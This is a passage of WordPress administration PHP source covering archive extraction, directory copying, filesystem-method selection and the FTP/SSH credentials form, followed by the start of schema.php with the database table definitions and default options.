'disk_full_unzip_file', __( 'Could not copy files. You may have run out of disk space.' ), compact( 'uncompressed_size', 'available_space' ) ); } $needed_dirs = array_unique($needed_dirs); foreach ( $needed_dirs as $dir ) { // Check the parent folders of the folders all exist within the creation array. if ( untrailingslashit($to) == $dir ) // Skip over the working directory, We know this exists (or will exist) continue; if ( strpos($dir, $to) === false ) // If the directory is not within the working directory, Skip it continue; $parent_folder = dirname($dir); while ( !empty($parent_folder) && untrailingslashit($to) != $parent_folder && !in_array($parent_folder, $needed_dirs) ) { $needed_dirs[] = $parent_folder; $parent_folder = dirname($parent_folder); } } asort($needed_dirs); // Create those directories if need be: foreach ( $needed_dirs as $_dir ) { if ( ! $wp_filesystem->mkdir($_dir, FS_CHMOD_DIR) && ! $wp_filesystem->is_dir($_dir) ) // Only check to see if the Dir exists upon creation failure. Less I/O this way. return new WP_Error( 'mkdir_failed_ziparchive', __( 'Could not create directory.' ), substr( $_dir, strlen( $to ) ) ); } unset($needed_dirs); for ( $i = 0; $i < $z->numFiles; $i++ ) { if ( ! $info = $z->statIndex($i) ) return new WP_Error( 'stat_failed_ziparchive', __( 'Could not retrieve file from archive.' ) ); if ( '/' == substr($info['name'], -1) ) // directory continue; if ( '__MACOSX/' === substr($info['name'], 0, 9) ) // Don't extract the OS X-created __MACOSX directory files continue; $contents = $z->getFromIndex($i); if ( false === $contents ) return new WP_Error( 'extract_failed_ziparchive', __( 'Could not extract file from archive.' ), $info['name'] ); if ( ! $wp_filesystem->put_contents( $to . $info['name'], $contents, FS_CHMOD_FILE) ) return new WP_Error( 'copy_failed_ziparchive', __( 'Could not copy file.' ), $info['name'] ); } $z->close(); return true; } /** * This function should not be called directly, use unzip_file instead. Attempts to unzip an archive using the PclZip library. * Assumes that WP_Filesystem() has already been called and set up. * * @since 3.0.0 * @see unzip_file * @access private * * @param string $file Full path and filename of zip archive * @param string $to Full path on the filesystem to extract archive to * @param array $needed_dirs A partial list of required folders needed to be created. * @return mixed WP_Error on failure, True on success */ function _unzip_file_pclzip($file, $to, $needed_dirs = array()) { global $wp_filesystem; mbstring_binary_safe_encoding(); require_once(ABSPATH . 'wp-admin/includes/class-pclzip.php'); $archive = new PclZip($file); $archive_files = $archive->extract(PCLZIP_OPT_EXTRACT_AS_STRING); reset_mbstring_encoding(); // Is the archive valid? if ( !is_array($archive_files) ) return new WP_Error('incompatible_archive', __('Incompatible Archive.'), $archive->errorInfo(true)); if ( 0 == count($archive_files) ) return new WP_Error( 'empty_archive_pclzip', __( 'Empty archive.' ) ); $uncompressed_size = 0; // Determine any children directories needed (From within the archive) foreach ( $archive_files as $file ) { if ( '__MACOSX/' === substr($file['filename'], 0, 9) ) // Skip the OS X-created __MACOSX directory continue; $uncompressed_size += $file['size']; $needed_dirs[] = $to . untrailingslashit( $file['folder'] ? $file['filename'] : dirname($file['filename']) ); } /* * disk_free_space() could return false. Assume that any falsey value is an error. * A disk that has zero free bytes has bigger problems. * Require we have enough space to unzip the file and copy its contents, with a 10% buffer. */ if ( defined( 'DOING_CRON' ) && DOING_CRON ) { $available_space = @disk_free_space( WP_CONTENT_DIR ); if ( $available_space && ( $uncompressed_size * 2.1 ) > $available_space ) return new WP_Error( 'disk_full_unzip_file', __( 'Could not copy files. You may have run out of disk space.' ), compact( 'uncompressed_size', 'available_space' ) ); } $needed_dirs = array_unique($needed_dirs); foreach ( $needed_dirs as $dir ) { // Check the parent folders of the folders all exist within the creation array. if ( untrailingslashit($to) == $dir ) // Skip over the working directory, We know this exists (or will exist) continue; if ( strpos($dir, $to) === false ) // If the directory is not within the working directory, Skip it continue; $parent_folder = dirname($dir); while ( !empty($parent_folder) && untrailingslashit($to) != $parent_folder && !in_array($parent_folder, $needed_dirs) ) { $needed_dirs[] = $parent_folder; $parent_folder = dirname($parent_folder); } } asort($needed_dirs); // Create those directories if need be: foreach ( $needed_dirs as $_dir ) { // Only check to see if the dir exists upon creation failure. Less I/O this way. if ( ! $wp_filesystem->mkdir( $_dir, FS_CHMOD_DIR ) && ! $wp_filesystem->is_dir( $_dir ) ) return new WP_Error( 'mkdir_failed_pclzip', __( 'Could not create directory.' ), substr( $_dir, strlen( $to ) ) ); } unset($needed_dirs); // Extract the files from the zip foreach ( $archive_files as $file ) { if ( $file['folder'] ) continue; if ( '__MACOSX/' === substr($file['filename'], 0, 9) ) // Don't extract the OS X-created __MACOSX directory files continue; if ( 0 !== validate_file( $file['filename'] ) ) { return new WP_Error( 'invalid_file_pclzip', __( 'Could not extract file from archive.' ), $file['filename'] ); } if ( ! $wp_filesystem->put_contents( $to . $file['filename'], $file['content'], FS_CHMOD_FILE) ) return new WP_Error( 'copy_failed_pclzip', __( 'Could not copy file.' ), $file['filename'] ); } return true; } /** * Copies a directory from one location to another via the WordPress Filesystem Abstraction. * Assumes that WP_Filesystem() has already been called and setup. * * @since 2.5.0 * * @param string $from source directory * @param string $to destination directory * @param array $skip_list a list of files/folders to skip copying * @return mixed WP_Error on failure, True on success. */ function copy_dir($from, $to, $skip_list = array() ) { global $wp_filesystem; $dirlist = $wp_filesystem->dirlist($from); $from = trailingslashit($from); $to = trailingslashit($to); foreach ( (array) $dirlist as $filename => $fileinfo ) { if ( in_array( $filename, $skip_list ) ) continue; if ( 'f' == $fileinfo['type'] ) { if ( ! $wp_filesystem->copy($from . $filename, $to . $filename, true, FS_CHMOD_FILE) ) { // If copy failed, chmod file to 0644 and try again. $wp_filesystem->chmod( $to . $filename, FS_CHMOD_FILE ); if ( ! $wp_filesystem->copy($from . $filename, $to . $filename, true, FS_CHMOD_FILE) ) return new WP_Error( 'copy_failed_copy_dir', __( 'Could not copy file.' ), $to . $filename ); } } elseif ( 'd' == $fileinfo['type'] ) { if ( !$wp_filesystem->is_dir($to . $filename) ) { if ( !$wp_filesystem->mkdir($to . $filename, FS_CHMOD_DIR) ) return new WP_Error( 'mkdir_failed_copy_dir', __( 'Could not create directory.' ), $to . $filename ); } // generate the $sub_skip_list for the subdirectory as a sub-set of the existing $skip_list $sub_skip_list = array(); foreach ( $skip_list as $skip_item ) { if ( 0 === strpos( $skip_item, $filename . '/' ) ) $sub_skip_list[] = preg_replace( '!^' . preg_quote( $filename, '!' ) . '/!i', '', $skip_item ); } $result = copy_dir($from . $filename, $to . $filename, $sub_skip_list); if ( is_wp_error($result) ) return $result; } } return true; } /** * Initialises and connects the WordPress Filesystem Abstraction classes. * This function will include the chosen transport and attempt connecting. * * Plugins may add extra transports, And force WordPress to use them by returning the filename via the 'filesystem_method_file' filter. * * @since 2.5.0 * * @param array $args (optional) Connection args, These are passed directly to the WP_Filesystem_*() classes. * @param string $context (optional) Context for get_filesystem_method(), See function declaration for more information. * @return boolean false on failure, true on success */ function WP_Filesystem( $args = false, $context = false ) { global $wp_filesystem; require_once(ABSPATH . 'wp-admin/includes/class-wp-filesystem-base.php'); $method = get_filesystem_method($args, $context); if ( ! $method ) return false; if ( ! class_exists("WP_Filesystem_$method") ) { /** * Filter the path for a specific filesystem method class file. * * @since 2.6.0 * * @see get_filesystem_method() * * @param string $path Path to the specific filesystem method class file. * @param string $method The filesystem method to use. */ $abstraction_file = apply_filters( 'filesystem_method_file', ABSPATH . 'wp-admin/includes/class-wp-filesystem-' . $method . '.php', $method ); if ( ! file_exists($abstraction_file) ) return; require_once($abstraction_file); } $method = "WP_Filesystem_$method"; $wp_filesystem = new $method($args); //Define the timeouts for the connections. Only available after the construct is called to allow for per-transport overriding of the default. if ( ! defined('FS_CONNECT_TIMEOUT') ) define('FS_CONNECT_TIMEOUT', 30); if ( ! defined('FS_TIMEOUT') ) define('FS_TIMEOUT', 30); if ( is_wp_error($wp_filesystem->errors) && $wp_filesystem->errors->get_error_code() ) return false; if ( !$wp_filesystem->connect() ) return false; //There was an error connecting to the server. // Set the permission constants if not already set. if ( ! defined('FS_CHMOD_DIR') ) define('FS_CHMOD_DIR', ( fileperms( ABSPATH ) & 0777 | 0755 ) ); if ( ! defined('FS_CHMOD_FILE') ) define('FS_CHMOD_FILE', ( fileperms( ABSPATH . 'index.php' ) & 0777 | 0644 ) ); return true; } /** * Determines which Filesystem Method to use. * The priority of the Transports are: Direct, SSH2, FTP PHP Extension, FTP Sockets (Via Sockets class, or fsockopen()) * * Note that the return value of this function can be overridden in 2 ways * - By defining FS_METHOD in your <code>wp-config.php</code> file * - By using the filesystem_method filter * Valid values for these are: 'direct', 'ssh2', 'ftpext' or 'ftpsockets' * Plugins may also define a custom transport handler, See the WP_Filesystem function for more information. * * @since 2.5.0 * * @param array $args Connection details. * @param string $context Full path to the directory that is tested for being writable. * @return string The transport to use, see description for valid return values. */ function get_filesystem_method($args = array(), $context = false) { $method = defined('FS_METHOD') ? FS_METHOD : false; // Please ensure that this is either 'direct', 'ssh2', 'ftpext' or 'ftpsockets' if ( ! $method && function_exists('getmyuid') && function_exists('fileowner') ){ if ( !$context ) $context = WP_CONTENT_DIR; // If the directory doesn't exist (wp-content/languages) then use the parent directory as we'll create it. if ( WP_LANG_DIR == $context && ! is_dir( $context ) ) $context = dirname( $context ); $context = trailingslashit($context); $temp_file_name = $context . 'temp-write-test-' . time(); $temp_handle = @fopen($temp_file_name, 'w'); if ( $temp_handle ) { if ( getmyuid() == @fileowner($temp_file_name) ) $method = 'direct'; @fclose($temp_handle); @unlink($temp_file_name); } } if ( ! $method && isset($args['connection_type']) && 'ssh' == $args['connection_type'] && extension_loaded('ssh2') && function_exists('stream_get_contents') ) $method = 'ssh2'; if ( ! $method && extension_loaded('ftp') ) $method = 'ftpext'; if ( ! $method && ( extension_loaded('sockets') || function_exists('fsockopen') ) ) $method = 'ftpsockets'; //Sockets: Socket extension; PHP Mode: FSockopen / fwrite / fread /** * Filter the filesystem method to use. * * @since 2.6.0 * * @param string $method Filesystem method to return. * @param array $args An array of connection details for the method. */ return apply_filters( 'filesystem_method', $method, $args ); } /** * Displays a form to the user to request for their FTP/SSH details in order to connect to the filesystem. * All chosen/entered details are saved, Excluding the Password. * * Hostnames may be in the form of hostname:portnumber (eg: wordpress.org:2467) to specify an alternate FTP/SSH port. * * Plugins may override this form by returning true|false via the <code>request_filesystem_credentials</code> filter. * * @since 2.5.0 * * @param string $form_post the URL to post the form to * @param string $type the chosen Filesystem method in use * @param boolean $error if the current request has failed to connect * @param string $context The directory which is needed access to, The write-test will be performed on this directory by get_filesystem_method() * @param string $extra_fields Extra POST fields which should be checked for to be included in the post. * @return boolean False on failure. True on success. */ function request_filesystem_credentials($form_post, $type = '', $error = false, $context = false, $extra_fields = null) { /** * Filter the filesystem credentials form output. * * Returning anything other than an empty string will effectively short-circuit * output of the filesystem credentials form, returning that value instead. * * @since 2.5.0 * * @param mixed $output Form output to return instead. Default empty. * @param string $form_post URL to POST the form to. * @param string $type Chosen type of filesystem. * @param bool $error Whether the current request has failed to connect. * Default false. * @param string $context Full path to the directory that is tested for * being writable. * @param array $extra_fields Extra POST fields. */ $req_cred = apply_filters( 'request_filesystem_credentials', '', $form_post, $type, $error, $context, $extra_fields ); if ( '' !== $req_cred ) return $req_cred; if ( empty($type) ) $type = get_filesystem_method(array(), $context); if ( 'direct' == $type ) return true; if ( is_null( $extra_fields ) ) $extra_fields = array( 'version', 'locale' ); $credentials = get_option('ftp_credentials', array( 'hostname' => '', 'username' => '')); $submitted_form = wp_unslash( $_POST ); // Verify nonce, or unset submitted form field values on failure if ( ! isset( $_POST['_fs_nonce'] ) || ! wp_verify_nonce( $_POST['_fs_nonce'], 'filesystem-credentials' ) ) { unset( $submitted_form['hostname'], $submitted_form['username'], $submitted_form['password'], $submitted_form['public_key'], $submitted_form['private_key'], $submitted_form['connection_type'] ); } // If defined, set it to that, Else, If POST'd, set it to that, If not, Set it to whatever it previously was(saved details in option) $credentials['hostname'] = defined('FTP_HOST') ? FTP_HOST : (!empty($submitted_form['hostname']) ? $submitted_form['hostname'] : $credentials['hostname']); $credentials['username'] = defined('FTP_USER') ? FTP_USER : (!empty($submitted_form['username']) ? $submitted_form['username'] : $credentials['username']); $credentials['password'] = defined('FTP_PASS') ? FTP_PASS : (!empty($submitted_form['password']) ? $submitted_form['password'] : ''); // Check to see if we are setting the public/private keys for ssh $credentials['public_key'] = defined('FTP_PUBKEY') ? FTP_PUBKEY : (!empty($submitted_form['public_key']) ? $submitted_form['public_key'] : ''); $credentials['private_key'] = defined('FTP_PRIKEY') ? FTP_PRIKEY : (!empty($submitted_form['private_key']) ? $submitted_form['private_key'] : ''); //sanitize the hostname, Some people might pass in odd-data: $credentials['hostname'] = preg_replace('|\w+://|', '', $credentials['hostname']); //Strip any schemes off if ( strpos($credentials['hostname'], ':') ) { list( $credentials['hostname'], $credentials['port'] ) = explode(':', $credentials['hostname'], 2); if ( ! is_numeric($credentials['port']) ) unset($credentials['port']); } else { unset($credentials['port']); } if ( ( defined('FTP_SSH') && FTP_SSH ) || ( defined('FS_METHOD') && 'ssh2' == FS_METHOD ) ) $credentials['connection_type'] = 'ssh'; else if ( (defined('FTP_SSL') && FTP_SSL) && 'ftpext' == $type ) //Only the FTP Extension understands SSL $credentials['connection_type'] = 'ftps'; else if ( !empty($submitted_form['connection_type']) ) $credentials['connection_type'] = $submitted_form['connection_type']; else if ( !isset($credentials['connection_type']) ) //All else fails (And it's not defaulted to something else saved), Default to FTP $credentials['connection_type'] = 'ftp'; if ( ! $error && ( ( !empty($credentials['password']) && !empty($credentials['username']) && !empty($credentials['hostname']) ) || ( 'ssh' == $credentials['connection_type'] && !empty($credentials['public_key']) && !empty($credentials['private_key']) ) ) ) { $stored_credentials = $credentials; if ( !empty($stored_credentials['port']) ) //save port as part of hostname to simplify above code. $stored_credentials['hostname'] .= ':' . $stored_credentials['port']; unset($stored_credentials['password'], $stored_credentials['port'], $stored_credentials['private_key'], $stored_credentials['public_key']); update_option('ftp_credentials', $stored_credentials); return $credentials; } $hostname = ''; $username = ''; $password = ''; $connection_type = ''; if ( !empty($credentials) ) extract($credentials, EXTR_OVERWRITE); if ( $error ) { $error_string = __('<strong>ERROR:</strong> There was an error connecting to the server, Please verify the settings are correct.'); if ( is_wp_error($error) ) $error_string = esc_html( $error->get_error_message() ); echo '<div id="message" class="error"><p>' . $error_string . '</p></div>'; } $types = array(); if ( extension_loaded('ftp') || extension_loaded('sockets') || function_exists('fsockopen') ) $types[ 'ftp' ] = __('FTP'); if ( extension_loaded('ftp') ) //Only this supports FTPS $types[ 'ftps' ] = __('FTPS (SSL)'); if ( extension_loaded('ssh2') && function_exists('stream_get_contents') ) $types[ 'ssh' ] = __('SSH2'); /** * Filter the connection types to output to the filesystem credentials form. * * @since 2.9.0 * * @param array $types Types of connections. * @param array $credentials Credentials to connect with. * @param string $type Chosen filesystem method. * @param object $error Error object. * @param string $context Full path to the directory that is tested * for being writable. */ $types = apply_filters( 'fs_ftp_connection_types', $types, $credentials, $type, $error, $context ); ?> <script type="text/javascript"> <!-- jQuery(function($){ jQuery("#ssh").click(function () { jQuery("#ssh_keys").show(); }); jQuery("#ftp, #ftps").click(function () { jQuery("#ssh_keys").hide(); }); jQuery('form input[value=""]:first').focus(); }); --> </script> <form action="<?php echo esc_url( $form_post ) ?>" method="post"> <div> <h3><?php _e('Connection Information') ?></h3> <p><?php $label_user = __('Username'); $label_pass = __('Password'); _e('To perform the requested action, WordPress needs to access your web server.'); echo ' '; if ( ( isset( $types['ftp'] ) || isset( $types['ftps'] ) ) ) { if ( isset( $types['ssh'] ) ) { _e('Please enter your FTP or SSH credentials to proceed.'); $label_user = __('FTP/SSH Username'); $label_pass = __('FTP/SSH Password'); } else { _e('Please enter your FTP credentials to proceed.'); $label_user = __('FTP Username'); $label_pass = __('FTP Password'); } echo ' '; } _e('If you do not remember your credentials, you should contact your web host.'); ?></p> <table class="form-table"> <tr> <th scope="row"><label for="hostname"><?php _e('Hostname') ?></label></th> <td><input name="hostname" type="text" id="hostname" value="<?php echo esc_attr($hostname); if ( !empty($port) ) echo ":$port"; ?>"<?php disabled( defined('FTP_HOST') ); ?> size="40" /></td> </tr> <tr> <th scope="row"><label for="username"><?php echo $label_user; ?></label></th> <td><input name="username" type="text" id="username" value="<?php echo esc_attr($username) ?>"<?php disabled( defined('FTP_USER') ); ?> size="40" /></td> </tr> <tr> <th scope="row"><label for="password"><?php echo $label_pass; ?></label></th> <td><div><input name="password" type="password" id="password" value="<?php if ( defined('FTP_PASS') ) echo '*****'; ?>"<?php disabled( defined('FTP_PASS') ); ?> size="40" /></div> <div><em><?php if ( ! defined('FTP_PASS') ) _e( 'This password will not be stored on the server.' ); ?></em></div></td> </tr> <?php if ( isset($types['ssh']) ) : ?> <tr id="ssh_keys" style="<?php if ( 'ssh' != $connection_type ) echo 'display:none' ?>"> <th scope="row"><?php _e('Authentication Keys') ?> <div class="key-labels textright"> <label for="public_key"><?php _e('Public Key:') ?></label ><br /> <label for="private_key"><?php _e('Private Key:') ?></label> </div></th> <td><br /><input name="public_key" type="text" id="public_key" value="<?php echo esc_attr($public_key) ?>"<?php disabled( defined('FTP_PUBKEY') ); ?> size="40" /><br /><input name="private_key" type="text" id="private_key" value="<?php echo esc_attr($private_key) ?>"<?php disabled( defined('FTP_PRIKEY') ); ?> size="40" /> <div><?php _e('Enter the location on the server where the keys are located. If a passphrase is needed, enter that in the password field above.') ?></div></td> </tr> <?php endif; ?> <tr> <th scope="row"><?php _e('Connection Type') ?></th> <td> <fieldset><legend class="screen-reader-text"><span><?php _e('Connection Type') ?></span></legend> <?php $disabled = disabled( (defined('FTP_SSL') && FTP_SSL) || (defined('FTP_SSH') && FTP_SSH), true, false ); foreach ( $types as $name => $text ) : ?> <label for="<?php echo esc_attr($name) ?>"> <input type="radio" name="connection_type" id="<?php echo esc_attr($name) ?>" value="<?php echo esc_attr($name) ?>"<?php checked($name, $connection_type); echo $disabled; ?> /> <?php echo $text ?> </label> <?php endforeach; ?> </fieldset> </td> </tr> </table> <?php foreach ( (array) $extra_fields as $field ) { if ( isset( $submitted_form[ $field ] ) ) echo '<input type="hidden" name="' . esc_attr( $field ) . '" value="' . esc_attr( $submitted_form[ $field ] ) . '" />'; } ?> <p class="request-filesystem-credentials-action-buttons"> <?php wp_nonce_field( 'filesystem-credentials', '_fs_nonce', false, true ); ?> <?php submit_button( __( 'Proceed' ), 'button', 'upgrade', false ); ?> </p> </div> </form> <?php return false; } schema.php000077700000101470151514577750006550 0ustar00<?php /** * WordPress Administration Scheme API * * Here we keep the DB structure and option values. * * @package WordPress * @subpackage Administration */ // Declare these as global in case schema.php is included from a function. global $wpdb, $wp_queries, $charset_collate; /** * The database character collate. * @var string * @global string * @name $charset_collate */ $charset_collate = $wpdb->get_charset_collate(); /** * Retrieve the SQL for creating database tables. * * @since 3.3.0 * * @param string $scope Optional. The tables for which to retrieve SQL. Can be all, global, ms_global, or blog tables. Defaults to all. * @param int $blog_id Optional. The blog ID for which to retrieve SQL. Default is the current blog ID. * @return string The SQL needed to create the requested tables. */ function wp_get_db_schema( $scope = 'all', $blog_id = null ) { global $wpdb; $charset_collate = ''; if ( ! empty($wpdb->charset) ) $charset_collate = "DEFAULT CHARACTER SET $wpdb->charset"; if ( ! empty($wpdb->collate) ) $charset_collate .= " COLLATE $wpdb->collate"; if ( $blog_id && $blog_id != $wpdb->blogid ) $old_blog_id = $wpdb->set_blog_id( $blog_id ); // Engage multisite if in the middle of turning it on from network.php. $is_multisite = is_multisite() || ( defined( 'WP_INSTALLING_NETWORK' ) && WP_INSTALLING_NETWORK ); // Blog specific tables. $blog_tables = "CREATE TABLE $wpdb->terms ( term_id bigint(20) unsigned NOT NULL auto_increment, name varchar(200) NOT NULL default '', slug varchar(200) NOT NULL default '', term_group bigint(10) NOT NULL default 0, PRIMARY KEY (term_id), UNIQUE KEY slug (slug), KEY name (name) ) $charset_collate; CREATE TABLE $wpdb->term_taxonomy ( term_taxonomy_id bigint(20) unsigned NOT NULL auto_increment, term_id bigint(20) unsigned NOT NULL default 0, taxonomy varchar(32) NOT NULL default '', description longtext NOT NULL, parent bigint(20) unsigned NOT NULL default 0, count bigint(20) NOT NULL default 0, PRIMARY KEY (term_taxonomy_id), UNIQUE KEY term_id_taxonomy (term_id,taxonomy), KEY taxonomy (taxonomy) ) $charset_collate; CREATE TABLE $wpdb->term_relationships ( object_id bigint(20) unsigned NOT NULL default 0, term_taxonomy_id bigint(20) unsigned NOT NULL default 0, term_order int(11) NOT NULL default 0, PRIMARY KEY (object_id,term_taxonomy_id), KEY term_taxonomy_id (term_taxonomy_id) ) $charset_collate; CREATE TABLE $wpdb->commentmeta ( meta_id bigint(20) unsigned NOT NULL auto_increment, comment_id bigint(20) unsigned NOT NULL default '0', meta_key varchar(255) default NULL, meta_value longtext, PRIMARY KEY (meta_id), KEY comment_id (comment_id), KEY meta_key (meta_key) ) $charset_collate; CREATE TABLE $wpdb->comments ( comment_ID bigint(20) unsigned NOT NULL auto_increment, comment_post_ID bigint(20) unsigned NOT NULL default '0', comment_author tinytext NOT NULL, comment_author_email varchar(100) NOT NULL default '', comment_author_url varchar(200) NOT NULL default '', comment_author_IP varchar(100) NOT NULL default '', comment_date datetime NOT NULL default '0000-00-00 00:00:00', comment_date_gmt datetime NOT NULL default '0000-00-00 00:00:00', comment_content text NOT NULL, comment_karma int(11) NOT NULL default '0', comment_approved varchar(20) NOT NULL default '1', comment_agent varchar(255) NOT NULL default '', comment_type varchar(20) NOT NULL default '', comment_parent bigint(20) unsigned NOT NULL default '0', user_id bigint(20) unsigned NOT NULL default '0', PRIMARY KEY (comment_ID), KEY comment_post_ID (comment_post_ID), KEY comment_approved_date_gmt (comment_approved,comment_date_gmt), KEY comment_date_gmt (comment_date_gmt), KEY comment_parent (comment_parent) ) $charset_collate; CREATE TABLE $wpdb->links ( link_id bigint(20) unsigned NOT NULL auto_increment, link_url varchar(255) NOT NULL default '', link_name varchar(255) NOT NULL default '', link_image varchar(255) NOT NULL default '', link_target varchar(25) NOT NULL default '', link_description varchar(255) NOT NULL default '', link_visible varchar(20) NOT NULL default 'Y', link_owner bigint(20) unsigned NOT NULL default '1', link_rating int(11) NOT NULL default '0', link_updated datetime NOT NULL default '0000-00-00 00:00:00', link_rel varchar(255) NOT NULL default '', link_notes mediumtext NOT NULL, link_rss varchar(255) NOT NULL default '', PRIMARY KEY (link_id), KEY link_visible (link_visible) ) $charset_collate; CREATE TABLE $wpdb->options ( option_id bigint(20) unsigned NOT NULL auto_increment, option_name varchar(64) NOT NULL default '', option_value longtext NOT NULL, autoload varchar(20) NOT NULL default 'yes', PRIMARY KEY (option_id), UNIQUE KEY option_name (option_name) ) $charset_collate; CREATE TABLE $wpdb->postmeta ( meta_id bigint(20) unsigned NOT NULL auto_increment, post_id bigint(20) unsigned NOT NULL default '0', meta_key varchar(255) default NULL, meta_value longtext, PRIMARY KEY (meta_id), KEY post_id (post_id), KEY meta_key (meta_key) ) $charset_collate; CREATE TABLE $wpdb->posts ( ID bigint(20) unsigned NOT NULL auto_increment, post_author bigint(20) unsigned NOT NULL default '0', post_date datetime NOT NULL default '0000-00-00 00:00:00', post_date_gmt datetime NOT NULL default '0000-00-00 00:00:00', post_content longtext NOT NULL, post_title text NOT NULL, post_excerpt text NOT NULL, post_status varchar(20) NOT NULL default 'publish', comment_status varchar(20) NOT NULL default 'open', ping_status varchar(20) NOT NULL default 'open', post_password varchar(20) NOT NULL default '', post_name varchar(200) NOT NULL default '', to_ping text NOT NULL, pinged text NOT NULL, post_modified datetime NOT NULL default '0000-00-00 00:00:00', post_modified_gmt datetime NOT NULL default '0000-00-00 00:00:00', post_content_filtered longtext NOT NULL, post_parent bigint(20) unsigned NOT NULL default '0', guid varchar(255) NOT NULL default '', menu_order int(11) NOT NULL default '0', post_type varchar(20) NOT NULL default 'post', post_mime_type varchar(100) NOT NULL default '', comment_count bigint(20) NOT NULL default '0', PRIMARY KEY (ID), KEY post_name (post_name), KEY type_status_date (post_type,post_status,post_date,ID), KEY post_parent (post_parent), KEY post_author (post_author) ) $charset_collate;\n"; // Single site users table. The multisite flavor of the users table is handled below. $users_single_table = "CREATE TABLE $wpdb->users ( ID bigint(20) unsigned NOT NULL auto_increment, user_login varchar(60) NOT NULL default '', user_pass varchar(64) NOT NULL default '', user_nicename varchar(50) NOT NULL default '', user_email varchar(100) NOT NULL default '', user_url varchar(100) NOT NULL default '', user_registered datetime NOT NULL default '0000-00-00 00:00:00', user_activation_key varchar(60) NOT NULL default '', user_status int(11) NOT NULL default '0', display_name varchar(250) NOT NULL default '', PRIMARY KEY (ID), KEY user_login_key (user_login), KEY user_nicename (user_nicename) ) $charset_collate;\n"; // Multisite users table $users_multi_table = "CREATE TABLE $wpdb->users ( ID bigint(20) unsigned NOT NULL auto_increment, user_login varchar(60) NOT NULL default '', user_pass varchar(64) NOT NULL default '', user_nicename varchar(50) NOT NULL default '', user_email varchar(100) NOT NULL default '', user_url varchar(100) NOT NULL default '', user_registered datetime NOT NULL default '0000-00-00 00:00:00', user_activation_key varchar(60) NOT NULL default '', user_status int(11) NOT NULL default '0', display_name varchar(250) NOT NULL default '', spam tinyint(2) NOT NULL default '0', deleted tinyint(2) NOT NULL default '0', PRIMARY KEY (ID), KEY user_login_key (user_login), KEY user_nicename (user_nicename) ) $charset_collate;\n"; // usermeta $usermeta_table = "CREATE TABLE $wpdb->usermeta ( umeta_id bigint(20) unsigned NOT NULL auto_increment, user_id bigint(20) unsigned NOT NULL default '0', meta_key varchar(255) default NULL, meta_value longtext, PRIMARY KEY (umeta_id), KEY user_id (user_id), KEY meta_key (meta_key) ) $charset_collate;\n"; // Global tables if ( $is_multisite ) $global_tables = $users_multi_table . $usermeta_table; else $global_tables = $users_single_table . $usermeta_table; // Multisite global tables. $ms_global_tables = "CREATE TABLE $wpdb->blogs ( blog_id bigint(20) NOT NULL auto_increment, site_id bigint(20) NOT NULL default '0', domain varchar(200) NOT NULL default '', path varchar(100) NOT NULL default '', registered datetime NOT NULL default '0000-00-00 00:00:00', last_updated datetime NOT NULL default '0000-00-00 00:00:00', public tinyint(2) NOT NULL default '1', archived tinyint(2) NOT NULL default '0', mature tinyint(2) NOT NULL default '0', spam tinyint(2) NOT NULL default '0', deleted tinyint(2) NOT NULL default '0', lang_id int(11) NOT NULL default '0', PRIMARY KEY (blog_id), KEY domain (domain(50),path(5)), KEY lang_id (lang_id) ) $charset_collate; CREATE TABLE $wpdb->blog_versions ( blog_id bigint(20) NOT NULL default '0', db_version varchar(20) NOT NULL default '', last_updated datetime NOT NULL default '0000-00-00 00:00:00', PRIMARY KEY (blog_id), KEY db_version (db_version) ) $charset_collate; CREATE TABLE $wpdb->registration_log ( ID bigint(20) NOT NULL auto_increment, email varchar(255) NOT NULL default '', IP varchar(30) NOT NULL default '', blog_id bigint(20) NOT NULL default '0', date_registered datetime NOT NULL default '0000-00-00 00:00:00', PRIMARY KEY (ID), KEY IP (IP) ) $charset_collate; CREATE TABLE $wpdb->site ( id bigint(20) NOT NULL auto_increment, domain varchar(200) NOT NULL default '', path varchar(100) NOT NULL default '', PRIMARY KEY (id), KEY domain (domain,path) ) $charset_collate; CREATE TABLE $wpdb->sitemeta ( meta_id bigint(20) NOT NULL auto_increment, site_id bigint(20) NOT NULL default '0', meta_key varchar(255) default NULL, meta_value longtext, PRIMARY KEY (meta_id), KEY meta_key (meta_key), KEY site_id (site_id) ) $charset_collate; CREATE TABLE $wpdb->signups ( signup_id bigint(20) NOT NULL auto_increment, domain varchar(200) NOT NULL default '', path varchar(100) NOT NULL default '', title longtext NOT NULL, user_login varchar(60) NOT NULL default '', user_email varchar(100) NOT NULL default '', registered datetime NOT NULL default '0000-00-00 00:00:00', activated datetime NOT NULL default '0000-00-00 00:00:00', active tinyint(1) NOT NULL default '0', activation_key varchar(50) NOT NULL default '', meta longtext, PRIMARY KEY (signup_id), KEY activation_key (activation_key), KEY user_email (user_email), KEY user_login_email (user_login,user_email), KEY domain_path (domain,path) ) $charset_collate;"; switch ( $scope ) { case 'blog' : $queries = $blog_tables; break; case 'global' : $queries = $global_tables; if ( $is_multisite ) $queries .= $ms_global_tables; break; case 'ms_global' : $queries = $ms_global_tables; break; default: case 'all' : $queries = $global_tables . $blog_tables; if ( $is_multisite ) $queries .= $ms_global_tables; break; } if ( isset( $old_blog_id ) ) $wpdb->set_blog_id( $old_blog_id ); return $queries; } // Populate for back compat. $wp_queries = wp_get_db_schema( 'all' ); /** * Create WordPress options and set the default values. * * @since 1.5.0 * @uses $wpdb * @uses $wp_db_version */ function populate_options() { global $wpdb, $wp_db_version, $wp_current_db_version; $guessurl = wp_guess_url(); /** * Fires before creating WordPress options and populating their default values. * * @since 2.6.0 */ do_action( 'populate_options' ); if ( ini_get('safe_mode') ) { // Safe mode can break mkdir() so use a flat structure by default. $uploads_use_yearmonth_folders = 0; } else { $uploads_use_yearmonth_folders = 1; } $template = WP_DEFAULT_THEME; // If default theme is a child theme, we need to get its template $theme = wp_get_theme( $template ); if ( ! $theme->errors() ) $template = $theme->get_template(); $timezone_string = ''; $gmt_offset = 0; /* translators: default GMT offset or timezone string. Must be either a valid offset (-12 to 14) or a valid timezone string (America/New_York). See http://us3.php.net/manual/en/timezones.php for all timezone strings supported by PHP. */ $offset_or_tz = _x( '0', 'default GMT offset or timezone string' ); if ( is_numeric( $offset_or_tz ) ) $gmt_offset = $offset_or_tz; elseif ( $offset_or_tz && in_array( $offset_or_tz, timezone_identifiers_list() ) ) $timezone_string = $offset_or_tz; $options = array( 'siteurl' => $guessurl, 'blogname' => __('My Site'), /* translators: blog tagline */ 'blogdescription' => __('Just another WordPress site'), 'users_can_register' => 0, 'admin_email' => 'you@example.com', /* translators: default start of the week. 0 = Sunday, 1 = Monday */ 'start_of_week' => _x( '1', 'start of week' ), 'use_balanceTags' => 0, 